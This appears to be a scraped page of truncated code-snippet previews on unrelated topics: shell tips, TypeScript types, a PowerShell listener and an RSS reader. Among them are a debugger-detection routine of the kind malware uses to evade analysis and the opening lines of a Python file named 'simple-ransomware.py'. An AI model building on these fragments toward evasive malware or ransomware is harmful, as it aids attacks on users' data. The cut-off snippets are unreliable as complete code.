sudo !!
ctrl+x+e
mkdir -p /mnt/ram
mount -t tmpfs tmpfs /mnt/ram -o size=8192M
ls -l
//create type out of return type | |
function returnscomplextype(id: number){ | |
return some.complicated.type{ | |
"key": "value" | |
} | |
} | |
//utility | |
type easyType = ReturnType<typeof returnscomplextype>; | |
//if it is a promise you can get the actual type like this |
BOOL IsDebuggerPresentUsingTickCount() | |
{ | |
DWORD tickReference = GetTickCount(); | |
Sleep(1500); // you can replace this with a function | |
DWORD currentTick = GetTickCount(); | |
DWORD elapsedTime = currentTick - tickReference; | |
if (elapsedTime > 2000) | |
return TRUE; | |
return FALSE; | |
} |
# Read base json file | |
if [ -f "base.json" ]; then | |
# Read the file into a variable | |
json_base=$(jq '.' base.json) | |
else | |
printf "Base json file does not exist and is required" | |
exit 1; | |
fi | |
# Read variable specific json file and merge it into base |
On the server (laptop): | |
``` | |
> $Listener = [System.Net.Sockets.TcpListener]52134; | |
> $Listener.Start(); | |
> while($true) | |
> { | |
> $client = $Listener.AcceptTcpClient(); | |
> Write-Host("Connected at " + $(Get-Date)); | |
> $client.Close(); | |
> } |
#!/usr/bin/env python3 | |
import os | |
from cryptography.fernet import Fernet | |
# Find files | |
scriptname = "simple-ransomware.py" | |
keyName = "theykey.key" | |
files = [] |
#! /bin/bash | |
# special environment variables | |
# $RANDOM -> between 0 - 32747 | |
# $SHELL | |
# $USER | |
# $PWD | |
# $HOSTNAME | |
# .bashrc can be edited to add environment variables on next login | |
# math symbols |
using System; | |
using System.Linq; | |
using System.ServiceModel.Syndication; | |
using System.Xml; | |
namespace RssReader | |
{ | |
class Program | |
{ | |
static void Main(string[] args) |
require "securerandom" | |
require "httparty" | |
SecureRandom.uuid | |
HTTParty.post("URL_TO_POST_TO", basic_auth: { username: "API_KEY", password: "API_SECRET" }, body: { "Id" => SecureRandom::uuid, "AllowedSignatureTypes" => ["Touch"], "EmailAddress" => "EMAIL_ADDRESS" }.to_json, :headers => { 'Content-Type' => 'application/json' } ) |